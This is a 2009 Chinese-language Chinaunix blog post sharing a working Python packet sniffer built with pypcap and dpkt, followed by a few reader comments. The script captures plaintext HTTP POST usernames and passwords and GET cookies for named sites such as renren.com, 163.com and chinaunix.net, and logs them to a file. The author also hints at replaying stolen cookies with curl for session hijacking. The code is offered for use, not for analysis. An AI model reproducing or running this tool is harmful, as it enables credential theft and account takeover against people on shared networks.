Chinaunix首页 | 论坛 | 博客
  • 博客访问: 5690370
  • 博文数量: 675
  • 博客积分: 20301
  • 博客等级: 上将
  • 技术积分: 7671
  • 用 户 组: 普通用户
  • 注册时间: 2005-12-31 16:15
文章分类

全部博文(675)

文章存档

2012年(1)

2011年(20)

2010年(14)

2009年(63)

2008年(118)

2007年(141)

2006年(318)

分类: Python/Ruby

2009-12-01 11:43:05

晚上无心继续写代码,就想写个小东西来玩玩,用pypcap写了一个密码捕获的小程序,能够抓取POST的用户名、密码,以及一些GET的cookie,如何用cookie,你不知道?那就google吧;-)或者看后面,记着要用鼠标选出来,才能够看到:curl -b

# -*- coding: utf8 -*-
#!/usr/bin/env python

import pcap
import dpkt

dev='eth0'
filter='tcp dst port 80'

pc=pcap.pcap(dev) #注,参数可为网卡名,如eth0
pc.setfilter(filter)    #设置监听过滤器

hostlist=['xiaonei.com', 'renren.com', '163.com', '126.com', 'cublog.cn', 'chinaunix.net']
file=open('passwd.txt','w')

for ptime,pdata in pc:    #ptime为收到时间,pdata为收到数据
    ether=dpkt.ethernet.Ethernet(pdata)
    ip=ether.data

    tcp=ip.data
    content_len=len(tcp)-8

    host=''
    username=''
    password=''
    cookie=''
    geturl=''
    posturl=''
    username_pattern=''
    password_pattern=''

    #Only Process POST Packet
#    if tcp.data.find('POST')==-1 or tcp.data.find('GET')==-1:
#        continue

    #Get Host
    host_start=tcp.data.find('Host: ')
    if host_start != -1:
        host_end=tcp.data.find('\r\n', host_start)
        if host_end != -1:
            host=tcp.data[host_start:host_end]
            #print host
        else:
            continue
    else:
        continue

    #Check host in hostlist
    for _host in hostlist:
        if host.find(_host)==-1:
            continue
        else:
            print _host

    #Get GET URL
    geturl_start=tcp.data.find('GET ')
    if geturl_start!=-1:
        geturl_end=tcp.data.find('\r\n', geturl_start)
        if geturl_end!=-1:
            geturl=tcp.data[geturl_start:geturl_end]
            #print geturl

    #Pass picture
    if geturl.find('gif')!=-1 or geturl.find('png')!=-1 or geturl.find('jpg')!=-1:
        continue;

    #Get POST URL
    posturl_start=tcp.data.find('POST ')
    if posturl_start!=-1:
        posturl_end=tcp.data.find('\r\n', posturl_start)
        if posturl_end!=-1:
            posturl=tcp.data[posturl_start:posturl_end]
            #print posturl

    #Get Cookie
    cookie_start=tcp.data.find('Cookie: ')
    if cookie_start!=-1:
        cookie_end=tcp.data.find('\r\n', cookie_start)
        if cookie_end != -1:
            cookie=tcp.data[cookie_start:cookie_end]
            #print cookie

    #Compute username_pattern
    if host.find('xiaonei.com')!=-1 or host.find('renren.com')!=-1:
        username_pattern='email='
    elif host.find('lilacbbs.com')!=-1:
        username_pattern='userid='
    elif host.find('sso.chinaunix.net')!=-1:
        username_pattern='login_name='
    else:
        username_pattern='username='

    #Find UserName
    username_start=tcp.data.find(username_pattern)
    if username_start!=-1:
        username_end=tcp.data.find('&', username_start)
        if username_end!=-1:
            username=tcp.data[username_start:username_end]
            #print username
        else:
            continue

        #Find Password
        password_start=tcp.data.find('password=')
        if password_start!=-1:
            password_end=tcp.data.find('&', password_start)
            if password_end!=-1:
                password=tcp.data[password_start:password_end]
                #print password
        else:
            continue


    #Log to file
    if host and posturl and username and password:
        file.write('-----------------------\n')
        file.write(host+'\n')
        file.write(posturl+'\n')
        file.write(username+'\n')
        file.write(password+'\n')
        file.flush()
    elif host and geturl and cookie:
        file.write('-----------------------\n')
        file.write(host+'\n')
        file.write(geturl+'\n')
        file.write(cookie+'\n')
        file.flush()

上帝请宽恕我的罪恶......
阅读(4046) | 评论(10) | 转发(0) |
给主人留下些什么吧!~~

chinaunix网友2009-12-09 10:56:24

前提是post的内容中格式是username= & password=

chinaunix网友2009-12-09 10:56:24

前提是post的内容中格式是username= & password=

hkebao2009-12-06 15:25:03

你好。你能帮我看看我的问题吗?我的地址是:http://blog.chinaunix.net/u2/84280/showart.php?id=2112270 请帮我看看原因好吗?非常感谢

hkebao2009-12-06 15:25:03

你好。你能帮我看看我的问题吗?我的地址是:http://blog.chinaunix.net/u2/84280/showart.php?id=2112270 请帮我看看原因好吗?非常感谢

chinaunix网友2009-12-02 11:34:57

已经回退py2.5的用户飘过~~ 早上听说9.10就不会有这个问题 真是又一重磅打击 其实我比较好奇的是肉鸡部分哎~~